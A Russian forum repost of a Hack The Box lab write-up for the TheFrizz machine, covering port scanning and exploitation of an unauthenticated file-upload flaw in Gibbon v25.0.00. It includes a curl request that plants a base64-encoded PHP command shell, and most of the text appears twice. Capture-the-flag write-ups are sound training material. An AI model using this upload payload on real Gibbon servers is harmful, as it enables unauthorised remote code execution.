Оффлайн
- Регистрация
- 9 Май 2015
- Сообщения
- 1,571
- Баллы
- 155
Сегодня я покажу, как эксплуатировать несложную веб‑уязвимость в системе удаленного обучения Gibbon, работающей на Windows. Получив возможность удаленного выполнения кода в системе, мы извлечем из базы данных учетки пользователей и полностью захватим сервер.
Наша конечная цель — получение прав суперпользователя на машине TheFrizz с учебной площадки . Уровень сложности задания — средний.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.60 thefrizz.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 13 открытых портов:
Веб‑сервер выполняет редирект на frizzdc.frizz.htb. Обновляем запись в файле /etc/hosts и открываем сайт через браузер.
10.10.11.60 thefrizz.htb frizzdc.frizz.htb frizz.htb
Главная страница сайта
Точка входа
На странице Welcome находим уведомление, в котором сказано о переходе на протоколы аутентификации Azure Active Directory и Kerberos.
Содержимое страницы Welcome
Внизу страницы находим название и версию движка сайта — Gibbon v25.0.00. Первым делом стоит проверить, есть ли для нее уязвимости. Проще всего — поискать в Google.
Поиск эксплоитов в Google
Из результатов узнаем, что Gibbon до версии v25.0.01 уязвим к . Суть уязвимости заключается в том, что неавторизованный пользователь может загружать произвольные файлы на сервер, а это позволяет получить удаленное выполнение кода через загрузку PHP-шелла. Следующим запросом загрузим PHP-шелл asdf.php в каталог Gibbon.
curl -X POST '' -H 'Host: frizzdc.frizz.htb' --data-urlencode "img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8+" -d 'path=asdf.php' -d 'gibbonPersonID=0000000001'
Наша конечная цель — получение прав суперпользователя на машине TheFrizz с учебной площадки . Уровень сложности задания — средний.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.60 thefrizz.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 13 открытых портов:
- 22 — OpenSSH;
- 80 (HTTP) — веб‑сервер Apache 2.4.58;
- 88 — Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC);
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 9389 — веб‑службы AD DS.
Веб‑сервер выполняет редирект на frizzdc.frizz.htb. Обновляем запись в файле /etc/hosts и открываем сайт через браузер.
10.10.11.60 thefrizz.htb frizzdc.frizz.htb frizz.htb
Главная страница сайта
Точка входа
На странице Welcome находим уведомление, в котором сказано о переходе на протоколы аутентификации Azure Active Directory и Kerberos.
Содержимое страницы Welcome
Внизу страницы находим название и версию движка сайта — Gibbon v25.0.00. Первым делом стоит проверить, есть ли для нее уязвимости. Проще всего — поискать в Google.
Поиск эксплоитов в Google
Из результатов узнаем, что Gibbon до версии v25.0.01 уязвим к . Суть уязвимости заключается в том, что неавторизованный пользователь может загружать произвольные файлы на сервер, а это позволяет получить удаленное выполнение кода через загрузку PHP-шелла. Следующим запросом загрузим PHP-шелл asdf.php в каталог Gibbon.
curl -X POST '' -H 'Host: frizzdc.frizz.htb' --data-urlencode "img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8+" -d 'path=asdf.php' -d 'gibbonPersonID=0000000001'